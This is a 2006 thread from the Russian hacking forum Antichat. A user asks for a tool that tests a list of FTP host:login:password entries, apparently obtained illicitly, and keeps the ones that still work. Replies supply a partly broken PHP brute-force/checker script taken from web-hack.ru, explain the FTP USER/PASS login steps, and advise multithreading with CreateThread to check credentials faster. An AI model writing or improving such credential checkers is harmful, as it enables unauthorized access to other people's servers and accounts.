Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Разное - Покупка, продажа, обмен (https://forum.antichat.xyz/forumdisplay.php?f=52)
-   -   Нужна прога! (https://forum.antichat.xyz/showthread.php?t=16035)

LordNet 17.03.2006 18:11

Нужна прога!
 
Люди помогите плз.
У меня есть файл и в нем по строкава написаны:
ftphost:login:pass.
То есть в каждой строке есть адрес фтп и к нему логин и пасс, и все это разделяется двоеточием ':'.
Нужна прога которая по отсеивала те фтп к которым пасс не подходит.
Заранее спасибо.

max_pain89 17.03.2006 18:28

такой php скрипт можешь свободно написать, он сам будет проверять, тем более с дедика

LordNet 17.03.2006 18:34

Можешь написать плз??

LordNet 17.03.2006 18:44

В принцепи было бы лутчи если есть прога!

max_pain89 17.03.2006 18:48

вот попытался веб-хаковский переделать, чето ошибка, может самисправишь

Код:

<?php

// Description: This PHP-script (passwd.php) bruteforce passwords from /etc/passwd under FTP-protocol.
// Authors: Terabyte (admin[at]web-hack.ru) and Pavel.
// Web-site: http://www.web-hack.ru

$filename="ftp.txt"; // passwd file
 // FTP-server

echo "<b>Start checking...</b>";

$fp = fopen ($filename, "r");
if ($fp)
{
while (!feof ($fp)) {
$buf = fgets($fp, 100);
ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g);
$ftp_server=$g[0];
$ftp_user_name=$g[1];
$ftp_user_pass=$g[2];
$conn_id=ftp_connect($ftp_server);
$login_result=@ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

if (($conn_id) && ($login_result)) {
echo "<b>".$ftp_server." - ".$ftp_user_name.":".$ftp_user_name."</b><br>";
ftp_close($conn_id);}
else {
echo $ftp_server." - ".$ftp_user_name.":".$ftp_user_name."</b><br>";
}
}}

?>


LordNet 17.03.2006 18:58

max_pain89 Спасибо.
Ну мне бы лутчи прогу.
Может есть у каво?

LordNet 18.03.2006 18:21

Ну что не кто не знает что ли?

KEZ 18.03.2006 18:45

Супер сложная прога - читаешь строку, разбиваешь ее на три части, конектишся к первой чати, логин -вторая часть, пароль - третья. Если сервер говорит что пас не тот, ничего не делаешь, иначе пишешь в файл, например good.txt

ZaCo 18.03.2006 19:03

для начала научись читать из файла. потом научись работать с сокетами. и вот ты на финишной прямой!
тебе достаточно двух команд
User имя-пользователя
Pass пароль

LordNet 19.03.2006 10:51

Я Vs C++ уже сделал, только вот оно медлено.
Мне бы как то по быстей ))
А то 100 пассов за 20 мин. это долго ((

drmist 19.03.2006 12:53

LordNet
а ты проводи проверку в несколько потоков.
( msdn.microsoft.com->CreateThread() )

+ если ты (вдруг) на диалапе - то может не так уж и медленно.

KEZ 19.03.2006 13:07

Наверное скорость соединения зависит от среды разработки, в который был сделан твой чекер... ?

Цитата:

msdn.microsoft.com
Да ладно линий раз туда ходить ненадо, про потоки
так можно расказать:
Проц. время рапределяется между потоками (а не процессами). Это делает планировщик. У каждого процесса есть как минимум один поток, иначе его уничтожает система. Этот поток и выполняет код.
Можно создать ещё потоки, которые будут выполняться
псевдо-одновременно с главным и всеми остальными.
Это делается ф-ией CreateThread(), которая возвращает
хендл созданого потока. А последний параметр - адрес
DWORD'а, куда будет записан Thread ID (номер потока).
Пример

DWORD WINAPI MyThrFunc( LPVOID param )
{
MessageBox( 0, "In thread", "Info", 0 );
return 0;
}

потом
DWORD dwThreadId;
CreateThread( NULL, NULL, MyThrFunc, NULL, NULL, &dwThreadId );


Описание ф-ии
CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, DWORD dwStackSize, LPTHREAD_START_ROUTINE, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );

Убить нить можно
hThread = CreateThread( ... );
TerminateThread( hThread );

ф-ии из kernel32.dll
обращаются к ZwCreateThread, ZwResumeThread...

Вот так вкратце ...

LordNet 19.03.2006 23:19

Я знаю мне кто то про потоки говарили.
Я просто только как 2 недели VS c++ учу.
Шас буду читать про потоки )))
KEZ спасибо что объяснил


Время: 02:28